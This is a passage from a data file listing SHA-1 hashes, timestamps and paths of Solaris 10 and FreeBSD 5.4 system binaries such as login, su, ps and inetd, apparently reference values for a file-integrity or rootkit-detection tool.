2.10 Generic_120011-14] +E741CAC5E7D6C3DEB77F80AF57B2A260FACE17D8 Sun Jan 23 01:48:09 2005 /bin/login [Solaris 2.10 Generic_120011-14] +E741CAC5E7D6C3DEB77F80AF57B2A260FACE17D8 Sun Jan 23 01:48:09 2005 /usr/bin/login [Solaris 2.10 Generic_120011-14] +28DA2190D32FA5CD6D98ED027BCB1A3300DFBBF3 Sun Jan 23 01:48:13 2005 /usr/bin/sparcv9/w [Solaris 2.10 Generic_120011-14] +97FC02858FEBC1A825229662492EF8FB1844832F Sun Jan 23 01:48:44 2005 /usr/sbin/sparcv9/modinfo [Solaris 2.10 Generic_120011-14] +C94FB1AFFED273B6E91D6BE21E9D2857BED0B669 Sun Jan 23 01:48:26 2005 /bin/ps [Solaris 2.10 Generic_120011-14] +C94FB1AFFED273B6E91D6BE21E9D2857BED0B669 Sun Jan 23 01:48:26 2005 /bin/w [Solaris 2.10 Generic_120011-14] +C94FB1AFFED273B6E91D6BE21E9D2857BED0B669 Sun Jan 23 01:48:26 2005 /usr/bin/ps [Solaris 2.10 Generic_120011-14] +C94FB1AFFED273B6E91D6BE21E9D2857BED0B669 Sun Jan 23 01:48:26 2005 /usr/bin/w [Solaris 2.10 Generic_120011-14] +C94FB1AFFED273B6E91D6BE21E9D2857BED0B669 Sun Jan 23 01:48:26 2005 /usr/sbin/modinfo [Solaris 2.10 Generic_120011-14] +C94FB1AFFED273B6E91D6BE21E9D2857BED0B669 Sun Jan 23 01:48:26 2005 /usr/ucb/ps [Solaris 2.10 Generic_120011-14] +D40185C7CD0B410E40D08B7FCB7739BE6ACA6601 Sun Jan 23 02:21:25 2005 /usr/sbin/in.tftpd [Solaris 2.10 Generic_120011-14] +718E99FBACB8211B13D39B3D4E9EC965A523097C Tue May 24 23:40:26 2005 /bin/su [Solaris 2.10 Generic_120011-14] +718E99FBACB8211B13D39B3D4E9EC965A523097C Tue May 24 23:40:26 2005 /usr/bin/su [Solaris 2.10 Generic_120011-14] +B9E23B1A737E898C1ADFDFBD5D0F077E4B0B1ED0 Fri Apr 28 20:26:49 2006 /bin/ls [Solaris 2.10 Generic_120011-14] +B9E23B1A737E898C1ADFDFBD5D0F077E4B0B1ED0 Fri Apr 28 20:26:49 2006 /usr/bin/ls [Solaris 2.10 Generic_120011-14] +22E2CCB085D982AD731E643544541855F2ABACA6 Fri Apr 28 20:26:49 2006 /bin/find [Solaris 2.10 Generic_120011-14] +22E2CCB085D982AD731E643544541855F2ABACA6 Fri Apr 28 20:26:49 2006 /usr/bin/find [Solaris 2.10 Generic_120011-14] +4989A29E7D2FC088766950845F9CA3044866BD1C Fri Apr 28 20:26:49 2006 /usr/bin/sparcv9/ls [Solaris 2.10 Generic_120011-14] +DE36A12846CC42C1E098A40549A3EF4ECDA1C868 Thu May 4 22:09:10 2006 /usr/bin/sparcv9/ps [Solaris 2.10 Generic_120011-14] +C8822BA8B66B633CB861008AE09B2F41A31D6EE1 Fri Aug 25 22:49:18 2006 /bin/telnet [Solaris 2.10 Generic_120011-14] +C8822BA8B66B633CB861008AE09B2F41A31D6EE1 Fri Aug 25 22:49:18 2006 /usr/bin/telnet [Solaris 2.10 Generic_120011-14] +AE49A40B4B87DCB3BD6C4FEEA13C5996E65DB8D9 Wed Oct 18 17:41:37 2006 /sbin/sh [Solaris 2.10 Generic_120011-14] +394FF8DE7351F3362E05112AF1F7B54B8AD70FEE Fri Mar 2 01:30:53 2007 /usr/sbin/in.telnetd [Solaris 2.10 Generic_120011-14] +AE49A40B4B87DCB3BD6C4FEEA13C5996E65DB8D9 Wed Oct 18 17:41:37 2006 /bin/sh [Solaris 2.10 Generic_120011-14] +718E99FBACB8211B13D39B3D4E9EC965A523097C Tue May 24 23:40:26 2005 /sbin/su [Solaris 2.10 Generic_120011-14] +AE49A40B4B87DCB3BD6C4FEEA13C5996E65DB8D9 Wed Oct 18 17:41:37 2006 /usr/bin/sh [Solaris 2.10 Generic_120011-14] +2617F922256D82013E6CC66C3F95926C7F5F6028 Thu Aug 16 17:22:59 2007 /usr/sbin/inetd [Solaris 2.10 Generic_120011-14] +C94FB1AFFED273B6E91D6BE21E9D2857BED0B669 Sun Jan 23 01:48:26 2005 /usr/ucb/w [Solaris 2.10 Generic_120011-14] +C8822BA8B66B633CB861008AE09B2F41A31D6EE1 Fri Aug 25 22:49:18 2006 /usr/ucb/telnet [Solaris 2.10 Generic_120011-14] +B32BC36642870DE7BB2EED177F3689E2BC8C81FA Thu Aug 16 17:22:57 2007 /usr/ucb/netstat [Solaris 2.10 Generic_120011-14] +7184C11C7654EDDA4D8656B4204E53397E3A1348 Tue May 1 23:37:28 2007 /bin/rm [Solaris 2.10 Generic_120011-14] +7184C11C7654EDDA4D8656B4204E53397E3A1348 Tue May 1 23:37:28 2007 /usr/bin/rm [Solaris 2.10 Generic_120011-14] +8095E4D382EBC1EA33D6F1C0F206662737BAC3C7 Wed Jun 27 17:35:39 2007 /usr/sbin/in.rshd [Solaris 2.10 Generic_120011-14] +B32BC36642870DE7BB2EED177F3689E2BC8C81FA Thu Aug 16 17:22:57 2007 /bin/netstat [Solaris 2.10 Generic_120011-14] +B32BC36642870DE7BB2EED177F3689E2BC8C81FA Thu Aug 16 17:22:57 2007 /usr/bin/netstat [Solaris 2.10 Generic_120011-14] +CA74D0528EDC62004E1012031CD7DFDE6B4F9077 Thu Aug 16 17:23:00 2007 /usr/sbin/arp [Solaris 2.10 Generic_120011-14] +DE1C87DE0794F44A7DDB16E1BF256D366218CB32 Mon Sep 17 19:06:34 2007 /usr/sbin/in.ftpd [Solaris 2.10 Generic_120011-14] + +1FC7C1DFEEFF33873A172DA77863EB3D5240A5E4 Sun May 8 07:01:31 2005 /bin/ps [FreeBSD 5.4] +0A333B0101C94A5B476FCDCF06E8502B1B36B1E9 Sun May 8 07:01:32 2005 /bin/sh [FreeBSD 5.4] +C5357232246616D0A1370569A719F769A2172CCC Sun May 8 07:01:32 2005 /bin/rm [FreeBSD 5.4] +52284C303EE83445C52C2CE1A6937AD3CDB5CFEB Sun May 8 07:03:59 2005 /usr/bin/login [FreeBSD 5.4] +045B5D146748C45F581FF492815C933162307574 Sun May 8 07:03:54 2005 /usr/bin/find [FreeBSD 5.4] +C882DEEE8E6BFE5DDB2303AEBFEEA2ECAED44D95 Sun May 8 07:04:09 2005 /usr/bin/su [FreeBSD 5.4] +41781B52086495B36631D6464B4027B2F0989575 Sun May 8 07:04:02 2005 /usr/bin/netstat [FreeBSD 5.4] +977507F5606D64720BBD59C6AF1E23BAB829C8AF Sun May 8 07:04:22 2005 /usr/sbin/arp [FreeBSD 5.4] +A528AA9002197DF93D8830DBF152C790D8A9504E Sun May 8 07:04:32 2005 /usr/sbin/inetd [FreeBSD 5.4] +E9082986A0A80AB18CC2B8345FCB0D336654B2F8 Sun May 8 07:04:10 2005 /usr/bin/telnet [FreeBSD 5.4] +DE052712B22AD3D8A250AAC34A9CC90FC86BDE8C Sun May 8 07:04:16 2005 /usr/bin/w [FreeBSD 5.4] +8549086C9B79BE23EFFB342FF8ACC92DB1AD4CF9 Sun May 8 07:01:31 2005 /bin/ls [FreeBSD 5.4] + +3C2DDE6A5193F9B4F0D2C1073F976D90D6A2B0D1 Sun May 8 05:59:14 2005 /bin/sh [FreeBSD 5.4 x86_64] +1688FD4ABC122B5041622C2FBD554D853DC489F1 Sun May 8 05:59:13 2005 /bin/ls [FreeBSD 5.4 x86_64] +32659785DB12F9186CC23D12EBC86402D89EF621 Sun May 8 05:59:14 2005 /bin/ps [FreeBSD 5.4 x86_64] +CB5F7F09EE97BFA3FFB35400258DE49BB87ECF55 Sun May 8 05:59:14 2005 /bin/rm [FreeBSD 5.4 x86_64] +1E8C3C51482DA7503BA704248F4BA125C87231AB Sun May 8 06:00:22 2005 /usr/bin/su [FreeBSD 5.4 x86_64] +5D42507853F32941EC8EA86517357D2C5C2704F6 Sun May 8 06:00:19 2005 /usr/bin/login [FreeBSD 5.4 x86_64] +E87797AF847969001335BC01597F2DD17355EE03 Sun May 8 06:00:20 2005 /usr/bin/netstat [FreeBSD 5.4 x86_64] +609808724875C2EBEB1782E390862E40EFFD6828 Sun May 8 06:00:22 2005 /usr/bin/telnet [FreeBSD 5.4 x86_64] +5B220B2EE7223C96E72F7CF3E9A63D6DF62F94B9 Sun May 8 06:00:28 2005 /usr/sbin/arp [FreeBSD 5.4 x86_64] +6FE7C628421131C4CD6A1EA5A0142C18835FDAE6 Sun May 8 06:00:31 2005 /usr/sbin/inetd [FreeBSD 5.4 x86_64] +5CDABE215CA0D2FDCFB3B47DF7C4CA86D1AA5C69 Sun May 8 06:00:17 2005 /usr/bin/find [FreeBSD 5.4 x86_64] +309F85134EFF5BF3319E660EE36EC9BE18127C8A Sun May 8 06:00:24 2005 /usr/bin/w [FreeBSD 5.4 x86_64] + +28B231738CD44936469C6C78C5BB671C68AB58E2 Sun Jan 23 01:26:34 2005 /usr/sbin/in.rlogind [Solaris 2.10 Generic_125100-10] +1712E39DC94B53300FE64CEB0AA68DC701F0E65C Sun Jan 23 01:29:11 2005 /usr/ucb/ls [Solaris 2.10 Generic_125100-10] +E741CAC5E7D6C3DEB77F80AF57B2A260FACE17D8 Sun Jan 23 01:48:09 2005 /bin/login [Solaris 2.10 Generic_125100-10] +E741CAC5E7D6C3DEB77F80AF57B2A260FACE17D8 Sun Jan 23 01:48:09 2005 /usr/bin/login [Solaris 2.10 Generic_125100-10] +28DA2190D32FA5CD6D98ED027BCB1A3300DFBBF3 Sun Jan 23 01:48:13 2005 /usr/bin/sparcv9/w [Solaris 2.10 Generic_125100-10] +2A0AC3329C6E52FF0B0AF573D9230868789B6DE6 Sun Jan 23 01:48:32 2005 /usr/sbin/arp [Solaris 2.10 Generic_125100-10] +97FC02858FEBC1A825229662492EF8FB1844832F Sun Jan 23 01:48:44 2005 /usr/sbin/sparcv9/modinfo [Solaris 2.10 Generic_125100-10] +C94FB1AFFED273B6E91D6BE21E9D2857BED0B669 Sun Jan 23 01:48:26 2005 /bin/ps [Solaris 2.10 Generic_125100-10] +C94FB1AFFED273B6E91D6BE21E9D2857BED0B669 Sun Jan 23 01:48:26 2005 /bin/w [Solaris 2.10 Generic_125100-10] +C94FB1AFFED273B6E91D6BE21E9D2857BED0B669 Sun Jan 23 01:48:26 2005 /usr/bin/ps [Solaris 2.10 Generic_125100-10] +C94FB1AFFED273B6E91D6BE21E9D2857BED0B669 Sun Jan 23 01:48:26 2005 /usr/bin/w [Solaris 2.10 Generic_125100-10] +C94FB1AFFED273B6E91D6BE21E9D2857BED0B669 Sun Jan 23 01:48:26 2005 /usr/sbin/modinfo [Solaris 2.10 Generic_125100-10] +C94FB1AFFED273B6E91D6BE21E9D2857BED0B669 Sun Jan 23 01:48:26 2005 /usr/ucb/ps [Solaris 2.10 Generic_125100-10] +D40185C7CD0B410E40D08B7FCB7739BE6ACA6601 Sun Jan 23 02:21:25 2005 /usr/sbin/in.tftpd [Solaris 2.10 Generic_125100-10] +7EB5C7BCF37C8160BC4D43723C430A542540DF47 Fri Feb 10 20:37:13 2006 /bin/netstat [Solaris 2.10 Generic_125100-10] +7EB5C7BCF37C8160BC4D43723C430A542540DF47 Fri Feb 10 20:37:13 2006 /usr/bin/netstat [Solaris 2.10 Generic_125100-10] +B9E23B1A737E898C1ADFDFBD5D0F077E4B0B1ED0 Fri Apr 28 20:26:49 2006 /bin/ls [Solaris 2.10 Generic_125100-10] +B9E23B1A737E898C1ADFDFBD5D0F077E4B0B1ED0 Fri Apr 28 20:26:49 2006 /usr/bin/ls [Solaris 2.10 Generic_125100-10] +22E2CCB085D982AD731E643544541855F2ABACA6 Fri Apr 28 20:26:49 2006 /bin/find [Solaris 2.10 Generic_125100-10] +22E2CCB085D982AD731E643544541855F2ABACA6 Fri Apr 28 20:26:49 2006 /usr/bin/find [Solaris 2.10 Generic_125100-10] +4989A29E7D2FC088766950845F9CA3044866BD1C Fri Apr 28 20:26:49 2006 /usr/bin/sparcv9/ls [Solaris 2.10 Generic_125100-10] +DE36A12846CC42C1E098A40549A3EF4ECDA1C868 Thu May 4 22:09:10 2006 /usr/bin/sparcv9/ps [Solaris 2.10 Generic_125100-10] +C8822BA8B66B633CB861008AE09B2F41A31D6EE1 Fri Aug 25 22:49:18 2006 /bin/telnet [Solaris 2.10 Generic_125100-10] +C8822BA8B66B633CB861008AE09B2F41A31D6EE1 Fri Aug 25 22:49:18 2006 /usr/bin/telnet [Solaris 2.10 Generic_125100-10] +AE49A40B4B87DCB3BD6C4FEEA13C5996E65DB8D9 Wed Oct 18 17:41:37 2006 /sbin/sh [Solaris 2.10 Generic_125100-10] +0DBC9948E583CE2AF48FA453194C2899B0367140 Thu Feb 15 15:07:20 2007 /usr/sbin/in.telnetd [Solaris 2.10 Generic_125100-10] +AE49A40B4B87DCB3BD6C4FEEA13C5996E65DB8D9 Wed Oct 18 17:41:37 2006 /bin/sh [Solaris 2.10 Generic_125100-10] +C34F291A52233F7D2558DFBB82CC2F5676C63E2F Thu Feb 12 19:23:47 2009 /sbin/su [Solaris 2.10 Generic_125100-10] +AE49A40B4B87DCB3BD6C4FEEA13C5996E65DB8D9 Wed Oct 18 17:41:37 2006 /usr/bin/sh [Solaris 2.10 Generic_125100-10] +1034397DC4E0B7F3D33BFAF50A2EFE6C2CE3E3CE Tue May 15 20:30:13 2007 /usr/sbin/inetd [Solaris 2.10 Generic_125100-10] +C94FB1AFFED273B6E91D6BE21E9D2857BED0B669 Sun Jan 23 01:48:26 2005 /usr/ucb/w [Solaris 2.10 Generic_125100-10] +C8822BA8B66B633CB861008AE09B2F41A31D6EE1 Fri Aug 25 22:49:18 2006 /usr/ucb/telnet [Solaris 2.10 Generic_125100-10] +7EB5C7BCF37C8160BC4D43723C430A542540DF47 Fri Feb 10 20:37:13 2006 /usr/ucb/netstat [Solaris 2.10 Generic_125100-10] +86EB7454C778381411D6C846E7174D43EE0201E7 Thu Mar 29 19:31:41 2007 /usr/sbin/in.ftpd [Solaris 2.10 Generic_125100-10] +57DAB1633629EF78339C697DE6DEEF5CFBEC02D3 Wed Apr 11 21:40:23 2007 /bin/rm [Solaris 2.10 Generic_125100-10] +57DAB1633629EF78339C697DE6DEEF5CFBEC02D3 Wed Apr 11 21:40:23 2007 /usr/bin/rm [Solaris 2.10 Generic_125100-10] +9CAB3C722C58D4FCC549B96F578E6A5E2C9229F4 Mon Jun 11 21:17:19 2007 /usr/sbin/in.rshd [Solaris 2.10 Generic_125100-10] +C34F291A52233F7D2558DFBB82CC2F5676C63E2F Thu Feb 12 19:23:47 2009 /bin/su [Solaris 2.10 Generic_125100-10] +C34F291A52233F7D2558DFBB82CC2F5676C63E2F Thu Feb 12 19:23:47 2009 /usr/bin/su [Solaris 2.10 Generic_125100-10] + +B4AE8D8CA1DA60878CB5F5BF96CDCC9C6F2ED105 Sun Jan 23 01:17:24 2005 /usr/sbin/in.ftpd [Solaris 2.10 Generic] +28B231738CD44936469C6C78C5BB671C68AB58E2 Sun Jan 23 01:26:34 2005 /usr/sbin/in.rlogind [Solaris 2.10 Generic] +195A2BAF2C940B9DF444A928DB89BF155DBE8FC6 Sun Jan 23 01:26:34 2005 /usr/sbin/in.rshd [Solaris 2.10 Generic] +1712E39DC94B53300FE64CEB0AA68DC701F0E65C Sun Jan 23 01:29:11 2005 /usr/ucb/ls [Solaris 2.10 Generic] +E12FDE3C35B7465B1D7048222D72A3CB4E18CC95 Sun Jan 23 01:47:20 2005 /sbin/sh [Solaris 2.10 Generic] +E741CAC5E7D6C3DEB77F80AF57B2A260FACE17D8 Sun Jan 23 01:48:09 2005 /bin/login [Solaris 2.10 Generic] +E741CAC5E7D6C3DEB77F80AF57B2A260FACE17D8 Sun Jan 23 01:48:09 2005 /usr/bin/login [Solaris 2.10 Generic] +37A2341C3AA80C36FC1FF81627933092AA06A2FF Sun Jan 23 01:48:14 2005 /bin/su [Solaris 2.10 Generic] +37A2341C3AA80C36FC1FF81627933092AA06A2FF Sun Jan 23 01:48:14 2005 /usr/bin/su [Solaris 2.10 Generic] +28DA2190D32FA5CD6D98ED027BCB1A3300DFBBF3 Sun Jan 23 01:48:13 2005 /usr/bin/sparcv9/w [Solaris 2.10 Generic] +2A0AC3329C6E52FF0B0AF573D9230868789B6DE6 Sun Jan 23 01:48:32 2005 /usr/sbin/arp [Solaris 2.10 Generic] +76F7578EC8F4ECA1A69B9506C0A9E069B9E9737F Sun Jan 23 01:48:12 2005 /bin/rm [Solaris 2.10 Generic] +76F7578EC8F4ECA1A69B9506C0A9E069B9E9737F Sun Jan 23 01:48:12 2005 /usr/bin/rm [Solaris 2.10 Generic] +E968C734E5B8721F38A2E0AE28D10775D7255BF1 Sun Jan 23 01:48:09 2005 /bin/ls [Solaris 2.10 Generic] +E968C734E5B8721F38A2E0AE28D10775D7255BF1 Sun Jan 23 01:48:09 2005 /usr/bin/ls [Solaris 2.10 Generic] +83BA51306FEEAF15966936B3667A10D5579DBFDD Sun Jan 23 01:48:06 2005 /bin/find [Solaris 2.10 Generic] +83BA51306FEEAF15966936B3667A10D5579DBFDD Sun Jan 23 01:48:06 2005 /usr/bin/find [Solaris 2.10 Generic] +4F423809C0E61507E61ED366BC82584D9A9C6B90 Sun Jan 23 01:48:13 2005 /usr/bin/sparcv9/ls [Solaris 2.10 Generic] +04427A455FF78F921B404D944B07EB0988C75A98 Sun Jan 23 01:48:13 2005 /usr/bin/sparcv9/ps [Solaris 2.10 Generic] +4ED7161A5DB6E6BB6DBA87853F56E6184974BC55 Sun Jan 23 01:48:10 2005 /bin/netstat [Solaris 2.10 Generic] +4ED7161A5DB6E6BB6DBA87853F56E6184974BC55 Sun Jan 23 01:48:10 2005 /usr/bin/netstat [Solaris 2.10 Generic] +97FC02858FEBC1A825229662492EF8FB1844832F Sun Jan 23 01:48:44 2005 /usr/sbin/sparcv9/modinfo [Solaris 2.10 Generic] +C94FB1AFFED273B6E91D6BE21E9D2857BED0B669 Sun Jan 23 01:48:26 2005 /bin/ps [Solaris 2.10 Generic] +C94FB1AFFED273B6E91D6BE21E9D2857BED0B669 Sun Jan 23 01:48:26 2005 /bin/w [Solaris 2.10 Generic] +C94FB1AFFED273B6E91D6BE21E9D2857BED0B669 Sun Jan 23 01:48:26 2005 /usr/bin/ps [Solaris 2.10 Generic] +C94FB1AFFED273B6E91D6BE21E9D2857BED0B669 Sun Jan 23 01:48:26 2005 /usr/bin/w [Solaris 2.10 Generic] +C94FB1AFFED273B6E91D6BE21E9D2857BED0B669 Sun Jan 23 01:48:26 2005 /usr/sbin/modinfo [Solaris 2.10 Generic] +C94FB1AFFED273B6E91D6BE21E9D2857BED0B669 Sun Jan 23 01:48:26 2005 /usr/ucb/ps [Solaris 2.10 Generic] +D40185C7CD0B410E40D08B7FCB7739BE6ACA6601 Sun Jan 23 02:21:25 2005 /usr/sbin/in.tftpd [Solaris 2.10 Generic] +77EDB872CF9D942D04AE12648E61ECCBE366DFF9 Sun Jan 23 02:22:52 2005 /usr/sbin/in.telnetd [Solaris 2.10 Generic] +EF52AC8D5F3ED01277298E6352C23E49FEB10A47 Sun Jan 23 02:22:50 2005 /bin/telnet [Solaris 2.10 Generic] +EF52AC8D5F3ED01277298E6352C23E49FEB10A47 Sun Jan 23 02:22:50 2005 /usr/bin/telnet [Solaris 2.10 Generic] +E12FDE3C35B7465B1D7048222D72A3CB4E18CC95 Sun Jan 23 01:47:20 2005 /bin/sh [Solaris 2.10 Generic] +37A2341C3AA80C36FC1FF81627933092AA06A2FF Sun Jan 23 01:48:14 2005 /sbin/su [Solaris 2.10 Generic] +E12FDE3C35B7465B1D7048222D72A3CB4E18CC95 Sun Jan 23 01:47:20 2005 /usr/bin/sh [Solaris 2.10 Generic] +5D70BA4D976590171A6FF2FDDA5AEBA6D6A46397 Sun Jan 23 01:48:25 2005 /usr/sbin/inetd [Solaris 2.10 Generic] +C94FB1AFFED273B6E91D6BE21E9D2857BED0B669 Sun Jan 23 01:48:26 2005 /usr/ucb/w [Solaris 2.10 Generic] +EF52AC8D5F3ED01277298E6352C23E49FEB10A47 Sun Jan 23 02:22:50 2005 /usr/ucb/telnet [Solaris 2.10 Generic] +4ED7161A5DB6E6BB6DBA87853F56E6184974BC55 Sun Jan 23 01:48:10 2005 /usr/ucb/netstat [Solaris 2.10 Generic] + +1712E39DC94B53300FE64CEB0AA68DC701F0E65C Sun Jan 23 01:29:11 2005 /usr/ucb/ls [Solaris 2.10 Generic_137137-09] +E741CAC5E7D6C3DEB77F80AF57B2A260FACE17D8 Sun Jan 23 01:48:09 2005 /bin/login [Solaris 2.10 Generic_137137-09] +E741CAC5E7D6C3DEB77F80AF57B2A260FACE17D8 Sun Jan 23 01:48:09 2005 /usr/bin/login [Solaris 2.10 Generic_137137-09] +28DA2190D32FA5CD6D98ED027BCB1A3300DFBBF3 Sun Jan 23 01:48:13 2005 /usr/bin/sparcv9/w [Solaris 2.10 Generic_137137-09] +97FC02858FEBC1A825229662492EF8FB1844832F Sun Jan 23 01:48:44 2005 /usr/sbin/sparcv9/modinfo [Solaris 2.10 Generic_137137-09] +C94FB1AFFED273B6E91D6BE21E9D2857BED0B669 Sun Jan 23 01:48:26 2005 /bin/ps [Solaris 2.10 Generic_137137-09] +C94FB1AFFED273B6E91D6BE21E9D2857BED0B669 Sun Jan 23 01:48:26 2005 /bin/w [Solaris 2.10 Generic_137137-09] +C94FB1AFFED273B6E91D6BE21E9D2857BED0B669 Sun Jan 23 01:48:26 2005 /usr/bin/ps [Solaris 2.10 Generic_137137-09] +C94FB1AFFED273B6E91D6BE21E9D2857BED0B669 Sun Jan 23 01:48:26 2005 /usr/bin/w [Solaris 2.10 Generic_137137-09] +C94FB1AFFED273B6E91D6BE21E9D2857BED0B669 Sun Jan 23 01:48:26 2005 /usr/sbin/modinfo [Solaris 2.10 Generic_137137-09] +C94FB1AFFED273B6E91D6BE21E9D2857BED0B669 Sun Jan 23 01:48:26 2005 /usr/ucb/ps [Solaris 2.10 Generic_137137-09] +718E99FBACB8211B13D39B3D4E9EC965A523097C Tue May 24 23:40:26 2005 /bin/su [Solaris 2.10 Generic_137137-09] +718E99FBACB8211B13D39B3D4E9EC965A523097C Tue May 24 23:40:26 2005 /usr/bin/su [Solaris 2.10 Generic_137137-09] +DE36A12846CC42C1E098A40549A3EF4ECDA1C868 Thu May 4 22:09:10 2006 /usr/bin/sparcv9/ps [Solaris 2.10 Generic_137137-09] +7517C58435FCEC3DA4FC086FBD451F380DF487B4 Fri Jun 30 00:39:44 2006 /usr/sbin/in.tftpd [Solaris 2.10 Generic_137137-09] +7184C11C7654EDDA4D8656B4204E53397E3A1348 Tue May 1 23:37:28 2007 /bin/rm [Solaris 2.10 Generic_137137-09] +7184C11C7654EDDA4D8656B4204E53397E3A1348 Tue May 1 23:37:28 2007 /usr/bin/rm [Solaris 2.10 Generic_137137-09] +B32BC36642870DE7BB2EED177F3689E2BC8C81FA Thu Aug 16 17:22:57 2007 /bin/netstat [Solaris 2.10 Generic_137137-09] +B32BC36642870DE7BB2EED177F3689E2BC8C81FA Thu Aug 16 17:22:57 2007 /usr/bin/netstat [Solaris 2.10 Generic_137137-09] +CA74D0528EDC62004E1012031CD7DFDE6B4F9077 Thu Aug 16 17:23:00 2007 /usr/sbin/arp [Solaris 2.10 Generic_137137-09] +D370603194C8412A71C45E1A24722D893933B6A6 Thu Oct 11 16:19:00 2007 /usr/sbin/in.ftpd [Solaris 2.10 Generic_137137-09] +F9F01D43C2C29597F03F980D0EF1D914A1E60D6F Mon Apr 7 23:09:47 2008 /usr/sbin/in.telnetd [Solaris 2.10 Generic_137137-09] +87EFBF142180C235020FDFF6C71DCB9BEB38670D Mon Apr 7 23:09:45 2008 /bin/telnet [Solaris 2.10 Generic_137137-09] +87EFBF142180C235020FDFF6C71DCB9BEB38670D Mon Apr 7 23:09:45 2008 /usr/bin/telnet [Solaris 2.10 Generic_137137-09] +0249DF8DAF81051E46862459152FAB469CBEFB97 Mon Apr 7 23:13:46 2008 /usr/sbin/in.rlogind [Solaris 2.10 Generic_137137-09] +607C0342F077A6FD049145627389AA235A8AAA58 Mon Apr 7 23:13:46 2008 /usr/sbin/in.rshd [Solaris 2.10 Generic_137137-09] +306C53157E16AC76405F5DA21B05AB7A472021E1 Wed May 21 22:34:42 2008 /sbin/sh [Solaris 2.10 Generic_137137-09] +BB9D3B2F85B9C4108C27C6E72FB9219EAE3A2780 Wed Jun 11 15:58:26 2008 /bin/ls [Solaris 2.10 Generic_137137-09] +BB9D3B2F85B9C4108C27C6E72FB9219EAE3A2780 Wed Jun 11 15:58:26 2008 /usr/bin/ls [Solaris 2.10 Generic_137137-09] +FB1685723025277D3C2021B209343B0BAE2F8C57 Wed Jun 11 15:58:26 2008 /usr/bin/sparcv9/ls [Solaris 2.10 Generic_137137-09] +90773588010614EAFFFC14F80CF8025C4ED9B977 Fri Oct 3 21:38:54 2008 /bin/find [Solaris 2.10 Generic_137137-09] +90773588010614EAFFFC14F80CF8025C4ED9B977 Fri Oct 3 21:38:54 2008 /usr/bin/find [Solaris 2.10 Generic_137137-09] +306C53157E16AC76405F5DA21B05AB7A472021E1 Wed May 21 22:34:42 2008 /bin/sh [Solaris 2.10 Generic_137137-09] +718E99FBACB8211B13D39B3D4E9EC965A523097C Tue May 24 23:40:26 2005 /sbin/su [Solaris 2.10 Generic_137137-09] +306C53157E16AC76405F5DA21B05AB7A472021E1 Wed May 21 22:34:42 2008 /usr/bin/sh [Solaris 2.10 Generic_137137-09] +201BA78CB4D1F9F029C66BE99395AC236D92BE9B Mon Apr 7 23:16:44 2008 /usr/sbin/inetd [Solaris 2.10 Generic_137137-09] +C94FB1AFFED273B6E91D6BE21E9D2857BED0B669 Sun Jan 23 01:48:26 2005 /usr/ucb/w [Solaris 2.10 Generic_137137-09] +87EFBF142180C235020FDFF6C71DCB9BEB38670D Mon Apr 7 23:09:45 2008 /usr/ucb/telnet [Solaris 2.10 Generic_137137-09] +B32BC36642870DE7BB2EED177F3689E2BC8C81FA Thu Aug 16 17:22:57 2007 /usr/ucb/netstat [Solaris 2.10 Generic_137137-09] + +1712E39DC94B53300FE64CEB0AA68DC701F0E65C Sun Jan 23 01:29:11 2005 /usr/ucb/ls [Solaris 2.10 Generic_141414-08] +E741CAC5E7D6C3DEB77F80AF57B2A260FACE17D8 Sun Jan 23 01:48:09 2005 /bin/login [Solaris 2.10 Generic_141414-08] +E741CAC5E7D6C3DEB77F80AF57B2A260FACE17D8 Sun Jan 23 01:48:09 2005 /usr/bin/login [Solaris 2.10 Generic_141414-08] +28DA2190D32FA5CD6D98ED027BCB1A3300DFBBF3 Sun Jan 23 01:48:13 2005 /usr/bin/sparcv9/w [Solaris 2.10 Generic_141414-08] +97FC02858FEBC1A825229662492EF8FB1844832F Sun Jan 23 01:48:44 2005 /usr/sbin/sparcv9/modinfo [Solaris 2.10 Generic_141414-08] +C94FB1AFFED273B6E91D6BE21E9D2857BED0B669 Sun Jan 23 01:48:26 2005 /bin/ps [Solaris 2.10 Generic_141414-08] +C94FB1AFFED273B6E91D6BE21E9D2857BED0B669 Sun Jan 23 01:48:26 2005 /bin/w [Solaris 2.10 Generic_141414-08] +C94FB1AFFED273B6E91D6BE21E9D2857BED0B669 Sun Jan 23 01:48:26 2005 /usr/bin/ps [Solaris 2.10 Generic_141414-08] +C94FB1AFFED273B6E91D6BE21E9D2857BED0B669 Sun Jan 23 01:48:26 2005 /usr/bin/w [Solaris 2.10 Generic_141414-08] +C94FB1AFFED273B6E91D6BE21E9D2857BED0B669 Sun Jan 23 01:48:26 2005 /usr/sbin/modinfo [Solaris 2.10 Generic_141414-08] +C94FB1AFFED273B6E91D6BE21E9D2857BED0B669 Sun Jan 23 01:48:26 2005 /usr/ucb/ps [Solaris 2.10 Generic_141414-08] +DE36A12846CC42C1E098A40549A3EF4ECDA1C868 Thu May 4 22:09:10 2006 /usr/bin/sparcv9/ps [Solaris 2.10 Generic_141414-08] +7517C58435FCEC3DA4FC086FBD451F380DF487B4 Fri Jun 30 00:39:44 2006 /usr/sbin/in.tftpd [Solaris 2.10 Generic_141414-08] +7184C11C7654EDDA4D8656B4204E53397E3A1348 Tue May 1 23:37:28 2007 /bin/rm [Solaris 2.10 Generic_141414-08] +7184C11C7654EDDA4D8656B4204E53397E3A1348 Tue May 1 23:37:28 2007 /usr/bin/rm [Solaris 2.10 Generic_141414-08] +B32BC36642870DE7BB2EED177F3689E2BC8C81FA Thu Aug 16 17:22:57 2007 /bin/netstat [Solaris 2.10 Generic_141414-08] +B32BC36642870DE7BB2EED177F3689E2BC8C81FA Thu Aug 16 17:22:57 2007 /usr/bin/netstat [Solaris 2.10 Generic_141414-08] +CA74D0528EDC62004E1012031CD7DFDE6B4F9077 Thu Aug 16 17:23:00 2007 /usr/sbin/arp [Solaris 2.10 Generic_141414-08] +F9F01D43C2C29597F03F980D0EF1D914A1E60D6F Mon Apr 7 23:09:47 2008 /usr/sbin/in.telnetd [Solaris 2.10 Generic_141414-08] +87EFBF142180C235020FDFF6C71DCB9BEB38670D Mon Apr 7 23:09:45 2008 /bin/telnet [Solaris 2.10 Generic_141414-08] +87EFBF142180C235020FDFF6C71DCB9BEB38670D Mon Apr 7 23:09:45 2008 /usr/bin/telnet [Solaris 2.10 Generic_141414-08] +0249DF8DAF81051E46862459152FAB469CBEFB97 Mon Apr 7 23:13:46 2008 /usr/sbin/in.rlogind [Solaris 2.10 Generic_141414-08] +607C0342F077A6FD049145627389AA235A8AAA58 Mon Apr 7 23:13:46 2008 /usr/sbin/in.rshd [Solaris 2.10 Generic_141414-08] +BB9D3B2F85B9C4108C27C6E72FB9219EAE3A2780 Wed Jun 11 15:58:26 